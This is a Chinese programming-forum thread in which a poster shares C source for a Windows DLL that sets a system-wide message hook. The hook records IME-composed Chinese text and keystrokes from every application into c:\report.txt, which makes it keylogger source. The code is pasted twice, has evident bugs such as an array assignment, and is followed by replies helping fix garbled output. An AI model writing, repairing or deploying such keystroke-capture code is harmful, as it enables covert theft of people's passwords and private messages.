很诡异的是用对话框输出的时候结果是正确的,但是保存到文件的时候却老是乱码,谁能不能帮我看下:
(代码如下)#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
char temp[20];
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
memset(temp,0,20);
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
temp=lpstr;
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if(strlen(temp)>0)
{
fwrite(temp,1,sizeof(temp),f1);
fwrite("!!!",1,3,f1);
memset(temp,0,20);
}
else
{ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);}
fclose(f1);
}
break;
}
}return(lResult);
}HHOOK InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return g_hHook;
} BOOL UnHook(HHOOK g_hHook)
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook(g_hHook);
break;
}
return TRUE;
}
(代码如下)#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
char temp[20];
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
memset(temp,0,20);
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
temp=lpstr;
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if(strlen(temp)>0)
{
fwrite(temp,1,sizeof(temp),f1);
fwrite("!!!",1,3,f1);
memset(temp,0,20);
}
else
{ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);}
fclose(f1);
}
break;
}
}return(lResult);
}HHOOK InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return g_hHook;
} BOOL UnHook(HHOOK g_hHook)
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook(g_hHook);
break;
}
return TRUE;
}
解决方案 »
- 如何让自定义控件给主界面发消息
- 一个关于Clistctrl的简单又很郁闷的问题。为什么第二次插入就会出现问题了呢?
- 关于WaitCommEvent 的一个问题
- 后面灯不亮 本地连接也不见了 网络适配器也不见了 可能只是路由器没连上的缘故吗?
- 怎么创建xml索引
- CString转化COLORREF的问题?
- ****各位大哥大姐快来帮帮我(语音通信问题)****
- 困惑
- 怎么把文件存的时候在不同的分区交叉存?可以实现吗!还有:怎么做一个文件让windows无法删除
- 没什么分了,可是问题很难,对不住各位高手了。
- 调试器的代码窗口是如何实现的?比如当前执行代码高亮,箭头指向之类的?
- 100分 MFC BMP的局部复制问题,请教啊!
这样?
还是unicode的问题你把messagebox改成messageboxA看看是乱码么?
如果变成乱码
说明是unicode的问题
如果不是乱码
说明是你写文件的问题
fwrite(temp,1,sizeof(temp),f1);
不要将sizeof(temp)=20全部写进去,不是已经计算好dwSize么
temp的后面部分有一些不确定的数据如果是UniCode数据的话,这样写进文件可以
要用UE之类的16进制软件打开,
严格上这不是标准的UniCode格式文本文件